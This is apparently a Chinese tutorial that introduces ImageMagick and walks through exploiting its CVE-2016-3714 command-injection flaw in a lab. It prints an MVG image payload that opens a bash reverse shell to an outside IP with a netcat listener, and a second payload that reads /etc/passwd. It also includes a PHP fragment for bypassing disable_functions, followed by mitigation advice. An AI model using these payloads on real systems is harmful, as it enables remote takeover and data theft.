1.1ImageMagick简介一、ImageMagick简介ImageMagick是一个强大、稳定、开源的工具集和开发包,可用于读取、写入和处理超过89种基本格式的图像文件。格式,包括流行的TIFF、JPEG、GIF、PNG、PDF和PhotoCD格式。使用ImageMagick,您可以根据Web应用程序的需要动态生成图像,还可以对一张(或一组)图像进行调整大小、旋转、锐化、减色或添加特殊效果等操作,并将结果操作的格式相同或其他格式,对图片的操作可以通过命令行完成,也可以用C/C++、Perl、Java、PHP、Python或Ruby编程完成。同时,ImageMagick提供了高质量的2D工具包,部分支持SVG。ImageMagic的主要关注点是性能、减少错误并提供稳定的API和ABI。它的官方网站是http://www.imagemagick.org/。ImageMagick是一款用于创建、编辑和组合图像的软件。它可以读取、转换和写入各种格式的图片。图像剪切、颜色替换、各种效果的应用、图像旋转、组合、文本、直线、多边形、椭圆、曲线、附加到图像的拉伸和旋转。ImageMagick是免费软件:所有源代码都是开放的,可以免费使用、复制、修改和分发。支持大多数操作系统。2、ImageMagick的主要功能(1)将图片从一种格式转换为另一种格式,包括直接转换为图标。(2)调整大小、旋转、锐化、缩小颜色、图片特效(3)缩略图合成(图像缩略图的拼接)(4)适合网页的透明背景图片(5)将一组图片制作成gif动画,直接convert(6)将几张图片做成一张组合图,montage(7)在一张图片上写或画图形,有文字阴影和边框渲染。(8)给图片添加边框或边框(9)获取图片的一些特征信息(10)几乎包括了gimp能做的常规插件功能。甚至包括各种曲线参数的渲染函数。只是命令的写法已经够复杂了。ImageMagick几乎可以在任何非专有操作系统上编译,无论是32位还是64位CPU,包括LINUX、Windows'95/'98/ME/NT4.0/2000/XP、Macintosh(MacOS9/10)、VMS与OS/2.1.2ImageMagick(CVE-2016-3714)远程执行漏洞分析ImageMagick(CVE-2016-3714)远程执行漏洞是由于字符过滤不精确导致的代码执行造成的。对于传递给客户端Insufficient命令过滤的文件名,允许在多种文件格式转换时远程执行代码。受影响版本范围:ImageMagick6.5.7-82012-08-17ImageMagick6.7.7-102014-03-06低版本到6.9.3-9发布2016-04-301.3POC测试可用1.实验环境Centos5.8+ImageMagick6.2.82。安装步骤centos中默认安装的是ImageMagick6.2.8,本次安装的是6.7.7-10版本。yumremoveImageMagickwgethttp://www.imagemagick.org/download/releases/ImageMagick-6.5.7-10.tar.xztarxvJfImageMagick-6.5.7-10.tar.xzcdImageMagick-6.5.7-10./configuremakemakeinstall注:tar.xz文件需要先用7zip解压成tar文件,再用tar-zxvf解压。3、生成弹跳shell的png文件首先建好准备好的图片,将以下内容保存为sh.png,其中122.115.4x.3x为弹跳到监听端口的服务器,监听端口为4433。pushgraphic-contextviewbox00640480fill'url(https://example.com/image.jpg"|bash-i>&/dev/tcp/122.115.4x.3x/44330>&1")'4.执行命令执行命令前,需要在反弹服务器上执行“nc-vv-l-p4433”命令。执行完“convertsh.png1.png”后,终端一直没有反应,直到反弹shell退出,如图1。图1执行convert命令4.获取反弹shell执行convert命令后,会是根据网络情况在监控服务器上延迟几秒,如图2,直接获取到反弹的webshel??l。图2获取反向webshel??l反向shell终止后,会出现错误信息,如图3所示。错误信息如图3所示1.4总结与讨论1.本地漏洞存在exp测试(1)构建exp.pngpushgraphic-contextviewbox00640480fill'url(https://example.com/image.jpg"|id&cat/etc/passwd")'popgraphic-context(2)执行exp获取id并查看passwd文件。在终端模式下执行convertexp.png1.png后,会显示passwd中的ID和内容,如图4所示,说明存在漏洞。图4执行exp检测漏洞2.利用ImageMagick漏洞绕过disable_function,将以下代码保存为exp.phpreadImage('KKKK.mvg');$thumb->writeImage('KKKK.png');$thumb->clear();$thumb->destroy();unlink("KKKK.mvg");unlink("KKKK.png");?>3,防范方法目前官方最新的修复补丁版本还没有发布,所以暂时推荐以下两种防范策略:(1)上传图片时,需要判断用户上传的是否为真实图片键入文件的内容。在处理图片之前,首先检查图片的“魔法字节”,即图片头。如果图像标题不是您想要的格式,则不要调用ImageMagick来处理图像。如果你是php用户,可以使用getimagesize函数查看图片格式,如果你是wordpress等web应用的用户,可以暂时卸载ImageMagick,使用php自带的gd库处理图片。(2)使用策略配置文件关闭ImageMagick的风险编码器对于ImageMagick全局策略配置文件,在/etc/ImageMagick下policy.xml的最后一行添加如下配置:
